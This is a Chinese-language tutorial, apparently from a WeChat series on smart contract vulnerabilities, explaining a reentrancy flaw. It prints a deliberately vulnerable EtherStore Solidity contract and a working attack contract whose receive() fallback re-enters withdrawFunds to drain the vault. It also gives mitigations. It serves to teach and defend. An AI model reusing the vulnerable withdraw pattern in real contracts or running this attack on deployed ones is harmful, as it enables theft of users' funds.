描述:EtherStore可重入性漏洞是智能合约设计中的一个缺陷,它允许攻击者利用可重入性,从EtherStore合约中提取比他们有权获得的更多的资金。这个漏洞产生于EtherStore合约中的withdrawFunds函数,在那里以太币在更新他们的余额之前就被转移到攻击者的地址。这允许攻击者的合约在余额更新之前回叫withdrawFunds函数,导致多次提款,并可能耗尽EtherStore合约中的所有以太币。
场景:EtherStore是一个简单的保险库,它可以管理每个人的以太币。但它是脆弱的,你能偷走所有的以太币吗?
缓解措施:遵循检查-效果-交互原则,并使用OpenZeppelin可重入性保护。
参考:
Introduction to Smart Contract Vulnerabilities: Reentrancy Attack
Consensys Smart Contract Best Practices: Reentrancy
EtherStore合约:
contract EtherStore {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds(uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
require(send, "send failed");
// 检查在发送后是否仍然足够以避免下溢
if (balances[msg.sender] >= _weiToWithdraw) {
balances[msg.sender] -= _weiToWithdraw;
}
}
}
如何测试:
// 测试EtherStore的可重入性攻击漏洞的函数
function testReentrancy() public {
// 执行攻击合约的攻击函数
attack.Attack();
}
// 攻击EtherStore的合约
contract EtherStoreAttack is Test {
// 要被攻击的EtherStore合约
EtherStore store;
// 构造函数初始化EtherStore合约
constructor(address _store) {
store = EtherStore(_store);
}
// 执行攻击的函数
function Attack() public {
// 记录EtherStore合约的余额
console.log("EtherStore balance", address(store).balance);
// 向EtherStore合约存入1个以太币
store.deposit{value: 1 ether}();
// 记录EtherStore合约的新余额
console.log(
"Deposited 1 Ether, EtherStore balance",
address(store).balance
);
// 从EtherStore合约提取1个以太币,这是漏洞利用的点
store.withdrawFunds(1 ether);
// 记录攻击合约的余额
console.log("Attack contract balance", address(this).balance);
// 记录EtherStore合约提款后的余额
console.log("EtherStore balance", address(store).balance);
}
// 利用可重入性漏洞的回退函数
receive() external payable {
// 记录攻击合约的余额
console.log("Attack contract balance", address(this).balance);
// 记录EtherStore合约的余额
console.log("EtherStore balance", address(store).balance);
// 如果EtherStore合约的余额至少有1个以太币
if (address(store).balance >= 1 ether) {
// 提取1个以太币,这是回退函数中漏洞利用的点
store.withdrawFunds(1 ether);
}
}
}
红框:成功利用,耗尽了EtherStore。
原文始发于微信公众号(3072):智能合约漏洞入门(4)可重入性漏洞